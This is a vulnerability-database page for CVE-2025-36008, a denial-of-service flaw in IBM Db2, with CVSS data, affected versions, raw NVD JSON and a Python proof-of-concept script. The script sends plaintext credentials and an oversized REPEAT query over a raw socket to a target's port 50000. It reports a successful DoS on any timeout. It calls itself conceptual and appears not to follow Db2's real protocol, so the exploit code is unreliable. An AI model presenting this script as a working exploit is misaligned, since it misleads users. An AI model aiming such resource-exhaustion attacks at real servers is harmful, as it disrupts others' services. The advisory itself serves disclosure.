Security Vulnerability Report
中文
CVE-2025-36008 CVSS 6.5 MEDIUM

CVE-2025-36008

Published: 2025-11-07 19:16:24
Last Modified: 2025-11-19 16:28:55

Description

IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper allocation of resources.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
IBM Db2 11.5.0 至 11.5.9 (Linux, UNIX, Windows)
IBM Db2 12.1.0 至 12.1.3 (Linux, UNIX, Windows)
IBM Db2 Connect Server (受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36008 PoC - IBM Db2 DoS via Resource Exhaustion # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires valid credentials and specific conditions import socket import sys def create_malicious_payload(): """ Generate a payload that triggers resource exhaustion in IBM Db2 This payload exploits improper resource allocation in query processing """ # Construct SQL query that may trigger resource exhaustion # Specific payload depends on detailed vulnerability analysis payload = b"SELECT " + b"REPEAT('A', 10000), " * 1000 + b"FROM sysibm.sysdummy1" return payload def connect_and_exploit(target_host, target_port=50000, username="demo", password="demo"): """ Connect to IBM Db2 server and send malicious payload Args: target_host: Target IBM Db2 server IP/hostname target_port: Db2 service port (default 50000) username: Valid database username password: Corresponding password """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Step 1: Authentication auth_packet = f"CONNECT TO DBNAME USER {username} USING {password}" sock.send(auth_packet.encode()) # Step 2: Send malicious payload payload = create_malicious_payload() sock.send(payload) print(f"[*] Payload sent to {target_host}:{target_port}") print(f"[*] Waiting for service response...") # Step 3: Monitor for DoS condition sock.settimeout(5) try: response = sock.recv(4096) if not response: print("[+] Service appears to be unresponsive - DoS successful") except socket.timeout: print("[+] No response received - potential DoS condition") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 50000 print(f"[*] CVE-2025-36008 PoC for IBM Db2 DoS") print(f"[*] Target: {target}:{port}") connect_and_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36008", "sourceIdentifier": "[email protected]", "published": "2025-11-07T19:16:23.970", "lastModified": "2025-11-19T16:28:54.793", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.3 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper allocation of resources."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "2AA1764B-CD82-4B33-B85B-27CA2F7C0ED5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "8F63D92C-AC19-4FB0-A605-08DC01875E7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.3", "matchCriteriaId": "E28DCDF3-EF5B-47D6-BD38-C98334B67BE4"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7250482", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}